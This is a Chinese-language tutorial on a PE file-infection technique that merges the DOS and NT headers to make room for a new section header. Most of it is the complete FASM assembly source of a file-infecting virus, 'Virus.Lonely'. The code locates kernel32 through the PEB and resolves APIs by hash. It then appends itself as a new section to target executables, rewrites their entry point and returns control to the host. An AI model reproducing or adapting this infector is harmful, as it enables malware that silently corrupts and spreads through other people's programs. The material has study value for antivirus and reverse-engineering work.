前言:
今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头来让我们有足够的空隙写入一个新的节表结构。
变形PE头原理:
这里的变形PE头的思路是用的比较方便的方法,就是将结构融合起来。聪明的你是否已经想到了? 就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员。是不是很绕?没关系,我们继续往下看。
一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,呵呵这对我们写
入一个新的节表结构是足足有余的。
我们如何融合IMAGE_DOS_HEADER和IMAGE_NT_HEADER呢?
首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。
我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节,这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic (2).e_lfanew。所以我们将前12个字节中的前两个字节写入’MZ’, 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了。
变形PE头添加节实现过程
当然我们的添加节过程是要在宿主程序的节表结构尾部空隙不够写入一个新的节表结构时变形PE头然后写入节表结构,所以我们要判断下。这里给出一个我实现后的过程。
代码:
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;
; Virus.Lonely By: xfish
;
; (c)2009-05-20
; --- Lonely xfish. Email: AntiAntiWorm@Gmail.com
; --- thanks 29a, pediy, hacker.com.cn
;-----------------------------------------------------------------------------
format PE GUI 4.0
include 'win32ax.inc'
entry Virus_Entry
section '.Lonely' code readable writeable executable
Virus_Entry:
pushad
call Dels
int 3
int 3
int 3
Dels:
pop ebp
sub ebp, Dels-2*3
; kernel32
call GetKrnlBase
lea edi, [ebp+dwFunc]
push edi
push eax
call GetFuncAddress
@pushsz 'user32'
call [edi + _LoadLibray-dwFunc]
push edi
push eax
call GetFuncAddress
test ebp, ebp
jz .Inject
push 0
@pushsz 'Virus Demo'
@pushsz 'by:xfish http://www.pediy.com http://www.hacker.com.cn'
push 0
call [edi + _MessageBox-dwFunc]
push dword [ebp+JmpHost+1]
pop dword [esp+pushad_eax]
@pushsz 'test2.exe'
call Inject
popad
push eax
retn
.Inject:
@pushsz 'test.exe'
call Inject
popad
retn
;++
;
; int
; GetKrnlBase(
; void
; )
;
; Routine Description:
;
; 获得kernel32基地址
;
; Arguments:
;
; (esp) - return address
;
;
; Return Value:
;
; eax = krnlbase
;
;--
GetKrnlBase:
sub eax, eax
mov eax, [fs:eax+30h]
test eax, eax
js .Os9x
mov eax, [eax+0ch]
mov eax, [eax+1ch]
mov eax, [eax]
mov eax, [eax+8h]
jmp .Result
.Os9x:
mov eax, [eax+34h]
lea eax, [eax+7ch]
mov eax, [eax+3ch]
.Result:
retn
;++
;
; int
; GetFuncAddress
; int hModule,
; int pHashStringList
; )
;
; Routine Description:
;
; 获取Hash API地址
;
; Arguments:
;
; (esp) - return address
; (esp+4*8+4) - hModule
; (esp+4*8+8) - pHashStringList
;
; Return Value:
;
; nothing
;
;--
GetFuncAddress:
pushad
mov ebx, [esp+4*8+4]
mov edx, [ebx+3ch]
mov esi, [ebx++edx+78h]
lea esi, [esi+ebx+18h]
lodsd
xchg eax, ecx
lodsd
add eax, ebx
xchg eax, ebp
lodsd
add eax, ebx
xchg eax, edx
lodsd
add eax, ebx
push eax
mov esi, edx
.Next_Func:
lodsd
add eax, ebx
; Make Func Hash
xor edx, edx
.Make_Hash:
rol edx, 3
xor dl, byte [eax]
inc eax
cmp byte [eax], 0
jnz .Make_Hash
mov eax, [esp]
add dword [esp], 2
mov edi, [esp+4*8+8+4]
.Scan_Dw_Funcs:
cmp dword [edi], edx
jnz .Next_List
movzx eax, word [eax]
mov eax, [ebp+eax*4]
add eax, ebx
scasd
stosd
jmp .Ret
.Next_List:
scasd
scasd
cmp dword [edi], 0
jne .Scan_Dw_Funcs
.Ret:
loop .Next_Func
pop ecx
popad
retn 4*2
;++
;
; CF
; IsPe(
; pByte pMemory
; )
;
; Routine Description:
;
; 测试是否是PE文件
;
; Arguments:
;
; (esp) - return address
;
; [esp+4] - pMemory
;
; Return Value:
;
; eax -- NewSection Physical offset
; eax -- 0
;--
IsPe:
mov edx, [esp+4]
cmp word [edx], 'MZ'
jnz .RetFalse
add edx, [edx+3ch]
cmp word [edx], 'PE'
jnz .RetFalse
.RetTrue:
stc
retn 4*1
.RetFalse:
clc
retn 4*1
;++
;
; CF
; IsFileType(
; LPCTSTR lpFileName
; )
;
; Routine Description:
;
; 测试文件类型是否是32位二进制文件
;
; Arguments:
;
; (esp) - return address
;
; [esp+4] - lpFileName
;
; Return Value:
;
; CF -- 1, = TRUE.
;
;--
IsFileType:
push 0
push esp
push dword [esp+4*2+4]
call dword [ebp + _GetBinaryType]
pop eax
; 32BIT_BINARY = 0
test eax, eax
jne .RetFalse
.RetTrue:
stc
retn 4*1
.RetFalse:
clc
retn 4*1
;++
;
; void
; Inject(
; LPCTSTR lpFileName
; )
;
; Routine Description:
;
; 感染文件
;
; Arguments:
;
; (esp) - return address
;
; [esp+4] - lpFileName
;
; Return Value:
;
; nothing
;
;--
Inject:
pushad
mov esi, [esp+4*8+4*1]
;++
; Is File Pe Format
push esi
call IsFileType
jnc .Result
;--
sub eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push esi
call [ebp + _CreateFile]
cmp eax, -1
jz .Result
xchg eax, ebx
push 0
push ebx
call [ebp + _GetFileSize]
push eax
;
push PAGE_READWRITE
push MEM_COMMIT
push eax
push 0
call [ebp + _VirtualAlloc]
;
pop edx
test eax, eax
jz .CloseHandle
xchg eax, edi
mov dword [ebp + .FreeSize], edx
push 0
push esp
push dword [ebp + .FreeSize]
push edi
push ebx
call [ebp + _ReadFile]
test eax, eax
jz .FreeMem
push edi
call IsPe
jnc .FreeMem
push Virus_Len
push edi
call AddSectionTable
test eax, eax
jz .FreeMem
;++ Update Oep, Write JmpHost
mov eax, edi
add eax, [eax+3ch]
mov ecx, edx
xchg ecx, [eax+28h]
add ecx, [eax+34h]
mov dword [ebp + JmpHost+1], ecx
;--
push FILE_BEGIN
push 0
push 0
push ebx
call [ebp+ _SetFilePointer]
push 0
push esp
lea eax, [ebp + .FreeSize]
push dword [eax]
push edi
push ebx
call [ebp + _WriteFile]
test eax, eax
jz .FreeMem
push FILE_END
push 0
push Virus_Len
push ebx
call [ebp + _SetFilePointer]
push ebx
call [ebp + _SetEndOfFile]
push FILE_CURRENT
push 0
push -(Virus_Len)
push ebx
call [ebp + _SetFilePointer]
push 0
push esp
push Virus_Len
lea eax, [ebp + Virus_Entry]
push eax
push ebx
call [ebp + _WriteFile]
test eax, eax
jz .FreeMem
.FreeMem:
push MEM_DECOMMIT
.FreeSize = $ + 1
push $
push edi
call [ebp + _VirtualFree]
.CloseHandle:
push ebx
call [ebp + _CloseHandle]
.Result:
popad
retn 4*1
;++
;
; int
; AddSectionTable(
; pByte pMemory
; DWORD dwLen
; )
;
; Routine Description:
;
; 添加节函数
;
; Arguments:
;
; (esp) - return address
;
; [esp+4*8+4*1] - pMemory
;
; [esp+4*8+4*2] - dwLen
;
; Return Value:
;
; eax = New Section PhysicalOffset, 0
; edx = New Section VirtualOffset
;
;--
AddSectionTable:
pushad
mov ebx, [esp+4*8+4*1]
mov esi, ebx
add esi, [esi+3ch]
;++
; edi = Section Table
movzx ecx, word [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader+4]
lea edi, dword [esi+ecx+4+sizeof.IMAGE_FILE_HEADER]
;--
;++
; Clear Bound Import Entry
lea edx, [esi+74h]
cmp dword [edx], 10h
jl .GoSectionTable
mov dword [edx+4+11*8], 0
;--
.GoSectionTable:
;++
; edx = First Section Offset
; edi = Last Section Table Offset
mov edx, [edi+IMAGE_SECTION_HEADER.PointerToRawData]
add edx, ebx
movzx ecx, word [esi+IMAGE_FILE_HEADER.NumberOfSections+4]
imul ecx, ecx, sizeof.IMAGE_SECTION_HEADER
add edi, ecx
;--
;++
; Expand PE Header Struct
; BaseOfData equ .lfanew
push edx
mov eax, edi
sub edx, eax
cmp edx, sizeof.IMAGE_SECTION_HEADER
pop edx
jge .AddSectionTable
; Test Expand Is Exist
cmp word [ebx+0ch], 'PE'
jnz .Expand
xor eax, eax
mov [esp+pushad_eax], eax
jmp .Result
.Expand:
sub eax, esi
xchg eax, ecx
pushad
lea edi, [ebx+0ch]
mov dword [esp+pushad_esi], edi
cld
rep movsb
mov dword [esp+pushad_edi], edi
sub edx, edi
xchg ecx, edx
xor eax, eax
rep stosb
popad
mov dword [ebx+3ch], 0ch
;--
.AddSectionTable:
; Inc Num
inc word [esi+06h]
; Sectio Name
mov dword [edi], '.xfi'
mov word [edi+4], 'sh'
; Physical size
push dword [esp+4*8+4*2]
pop dword [edi+10h]
; Physical offset
lea edx, [edi-28h]
mov eax, [edx+14h]
mov ecx, [edx+10h]
add eax, ecx
mov dword [edi+14h], eax
mov dword [esp+pushad_eax], eax
; Virtual size
push dword [esp+4*8+4*2]
pop dword [edi+8h]
; Virtual offset
push dword [esi+50h]
pop eax
mov dword [edi+0ch], eax
mov [esp+pushad_edx], eax
; Flags
mov dword [edi+24h], 0E0000020h
; SizeOfImage
mov ecx, [edi+08h]
add ecx, [edi+0ch]
mov dword [esi+50h], ecx
.Result:
popad
retn 4*2
;++
JmpHost:
push $
retn
;--
;++++++++++++++++++++++++++++++++++++++++++++++++++
dwFunc:
dd 0C0D6D616h
_CloseHandle dd 0
dd 038C62A7Ah
_CreateFile dd 0
dd 0ABD10842h
_GetBinaryType dd 0
dd 09554EFE7h
_GetFileSize dd 0
dd 00BE25545h
_ReadFile dd 0
dd 0A97175F9h
_SetEndOfFile dd 0
dd 0A9D1FD70h
_SetFilePointer dd 0
dd 0AB16D0AEh
_VirtualAlloc dd 0
dd 0B562D3DBh
_VirtualFree dd 0
dd 058D8C545h
_WriteFile dd 0
dd 0A412FD89h
_LoadLibray dd 0
dd 014D14C51h
_MessageBox dd 0
;-------------------------------------------------
Virus_Len = $ - Virus_Entry